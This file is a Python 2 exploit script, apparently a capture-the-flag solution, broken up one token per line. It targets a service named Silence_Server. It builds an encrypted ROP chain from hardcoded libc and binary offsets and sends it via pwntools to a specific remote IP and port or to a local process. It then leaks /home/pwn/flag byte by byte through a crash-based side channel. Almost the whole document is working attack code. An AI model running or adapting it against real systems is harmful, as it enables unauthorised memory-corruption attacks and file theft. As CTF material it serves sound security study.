from
Crypto.Cipher
import
DES
import
struct
import
time
import
sys
def
enc(s):
key
=
"3378704c30723352"
.decode(
"hex"
)
des
=
DES.new(key, mode
=
DES.MODE_CBC, IV
=
key)
return
des.encrypt(s)
def
savebase(ori, diff, dst):
r
=
chr
(
22
)
+
struct.pack(
"<Q"
, diff)
r
+
=
chr
(
22
)
+
struct.pack(
"<Q"
, ori)
r
+
=
chr
(
20
)
r
+
=
chr
(
17
)
r
+
=
chr
(
22
)
+
struct.pack(
"<Q"
, dst)
r
+
=
chr
(
21
)
return
r
def
savelibc():
return
savebase(
1013
,
0x21B35
,
999
)
def
saveexe():
return
savebase(
1009
,
0xa4c
,
998
)
def
saversp():
return
savebase(
1015
, (
1013
+
28
)
*
8
,
997
)
def
pushaddr(solt, diff, dst):
r
=
chr
(
22
)
+
struct.pack(
"<Q"
, diff)
r
+
=
chr
(
22
)
+
struct.pack(
"<Q"
, solt)
r
+
=
chr
(
20
)
r
+
=
chr
(
16
)
r
+
=
chr
(
22
)
+
struct.pack(
"<Q"
, dst)
r
+
=
chr
(
21
)
return
r
def
pushlibc(diff, dst):
return
pushaddr(
999
, diff, dst)
def
pushexe(diff, dst):
return
pushaddr(
998
, diff, dst)
def
pushrsp(diff, dst):
return
pushaddr(
997
, diff
*
8
, dst)
def
pushim(im, dst):
r
=
chr
(
22
)
+
struct.pack(
"<Q"
, im)
r
+
=
chr
(
22
)
+
struct.pack(
"<Q"
, dst)
r
+
=
chr
(
21
)
return
r
def
setp0(dst):
return
pushexe(
0xfe3
, dst)
def
setp1(dst):
return
pushlibc(
0x21747
, dst)
def
setp2(dst):
return
pushlibc(
0xba6c0
, dst)
def
makerop(idx, cc):
pos
=
1009
rop
=
savelibc()
rop
+
=
saveexe()
rop
+
=
saversp()
rop
+
=
setp0(pos); pos
+
=
1
rop
+
=
pushrsp(
1009
+
6
, pos); pos
+
=
1
rop
+
=
setp1(pos); pos
+
=
1
rop
+
=
pushim(
0
, pos); pos
+
=
1
rop
+
=
pushlibc(
0xE8A09
, pos); pos
+
=
1
rop
+
=
pushexe(
0xFE0
, pos); pos
+
=
1
rop
+
=
pushim(
long
(
"/home/pw"
[::
-
1
].encode(
"hex"
),
16
), pos); pos
+
=
1
rop
+
=
pushim(
long
(
"n/flag\0\0"
[::
-
1
].encode(
"hex"
),
16
), pos); pos
+
=
1
rop
+
=
setp0(pos); pos
+
=
1
rop
+
=
pushim(
3
, pos); pos
+
=
1
rop
+
=
setp1(pos); pos
+
=
1
rop
+
=
pushexe(
0x207800
, pos); pos
+
=
1
rop
+
=
setp2(pos); pos
+
=
1
rop
+
=
pushim(
64
, pos); pos
+
=
1
rop
+
=
pushlibc(
0xE8BF9
, pos); pos
+
=
1
rop
+
=
setp0(pos); pos
+
=
1
rop
+
=
pushexe(
0x207800
+
idx, pos); pos
+
=
1
rop
+
=
setp1(pos); pos
+
=
1
rop
+
=
pushlibc(
0x1726C0
+
cc, pos); pos
+
=
1
rop
+
=
setp2(pos); pos
+
=
1
rop
+
=
pushim(
1
, pos); pos
+
=
1
rop
+
=
pushlibc(
0x890C0
, pos); pos
+
=
1
rop
+
=
pushexe(
0xBB4
, pos); pos
+
=
1
rop
+
=
pushim(
0
, pos); pos
+
=
1
rop
+
=
pushexe(
0xA36
, pos); pos
+
=
1
rop
+
=
pushim(
0
, pos); pos
+
=
1
rop
+
=
chr
(
22
)
+
struct.pack(
"<Q"
,
0
)
rop
+
=
chr
(
31
)
roplen
=
len
(rop)
for
_
in
xrange
((roplen
+
7
)
/
8
*
8
-
roplen):
rop
+
=
chr
(
29
)
return
len
(rop)
/
8
, enc(rop)
def
test(net, ss, ee):
ret
=
""
import
pwn
for
ii
in
xrange
(ss, ee):
ok
=
False
for
cc
in
xrange
(
0x7F
,
-
1
,
-
1
):
if
cc !
=
0
and
cc <
=
0x20
:
continue
roplen, rop
=
makerop(ii, cc)
if
net:
p
=
pwn.remote(
"211.159.216.90"
,
51888
)
else
:
p
=
pwn.process(
"/root/Silence_Server"
)
time.sleep(
0.5
)
p.send(
chr
(roplen))
time.sleep(
0.5
)
p.send(
"3378704c30723352"
.decode(
"hex"
))
time.sleep(
1
)
p.send(rop)
time.sleep(
1
)
ok
=
True
try
:
p.send(
chr
(
1
))
time.sleep(
1
)
p.send(
chr
(
1
))
except
:
ok
=
False
if
ok:
if
cc
=
=
0
:
print
"finish"
print
ret
sys.exit(
0
)
else
:
print
ii,
chr
(cc)
ret
+
=
chr
(cc)
break
if
not
ok:
print
"what?"
sys.exit(
0
)
print
ret
test(
True
,
int
(sys.argv[
1
]),
int
(sys.argv[
2
]))